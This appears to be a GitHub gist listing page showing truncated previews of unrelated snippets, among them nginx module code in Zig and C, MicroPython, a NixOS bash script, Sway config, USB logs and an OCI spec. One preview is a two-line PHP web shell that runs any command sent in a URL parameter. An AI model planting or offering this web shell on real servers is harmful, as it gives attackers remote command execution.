This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const c = @cImport({ | |
@cInclude("ngx_config.h"); | |
@cInclude("ngx_core.h"); | |
@cInclude("ngx_string.h"); | |
@cInclude("ngx_http.h"); | |
@cInclude("ngx_event_openssl.h"); | |
}); | |
const ngx_foo_conf_t = extern struct { | |
enable: c.ngx_flag_t, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <ngx_config.h> | |
#include <ngx_core.h> | |
#include <ngx_string.h> | |
#include <ngx_http.h> | |
#include <ngx_event_openssl.h> | |
extern ngx_module_t ngx_foo_module; | |
typedef struct { | |
ngx_flag_t enable; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import machine | |
import os | |
from micropython import const | |
import time | |
import network | |
import socket | |
_CMD_TIMEOUT = const(100) | |
_R1_IDLE_STATE = const(1 << 0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# shellcheck shell=bash | |
set -e | |
# Re-exec ourselves in a private mount namespace so that our bind | |
# mounts get cleaned up automatically. | |
if [ -z "$NIXOS_ENTER_REEXEC" ]; then | |
export NIXOS_ENTER_REEXEC=1 | |
if [ "$(id -u)" != 0 ]; then |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
programs.sway = { | |
enable = true; | |
extraPackages = with pkgs; [ | |
# Lock screen | |
swaylock | |
# Copy to clipboard | |
wl-clipboard | |
# Notification deamon | |
mako | |
# Used by some mako commands |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import typing | |
import zipfile | |
import sys | |
import os | |
import io | |
import zlib | |
from Crypto.Cipher import PKCS1_v1_5, AES | |
from Crypto.PublicKey import RSA | |
from Crypto.Signature import pkcs1_15, pss | |
from Crypto.Hash import SHA1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_DEVICE length=18 wIndex=0 wValue=100 | |
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=2 wIndex=409 wValue=302 | |
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=74 wIndex=409 wValue=302 | |
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=2 wIndex=409 wValue=301 | |
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_STRING length=24 wIndex=409 wValue=301 | |
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_CONFIG length=9 wIndex=0 wValue=200 | |
2022/05/10 21:10:35 EP0Request: bRequestType=USB_TYPE_STANDARD bRequest=USB_REQ_GET_DESCRIPTOR wValue=USB_DT_CONFIG length=84 wIndex=0 wValue=2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"ociVersion": "1.0.2-dev", | |
"process": { | |
"terminal": true, | |
"user": { | |
"uid": 0, | |
"gid": 0 | |
}, | |
"args": [ | |
"bash" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
system($_GET[_]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
func goRecover(f func(), recovered chan<- error) { | |
go func() { | |
done := false // just to handle panic(nil) https://github.com/golang/go/issues/25448 | |
defer func() { | |
if !done { | |
var errOut error | |
errAny := recover() | |
if err, ok := errAny.(error); ok { |
NewerOlder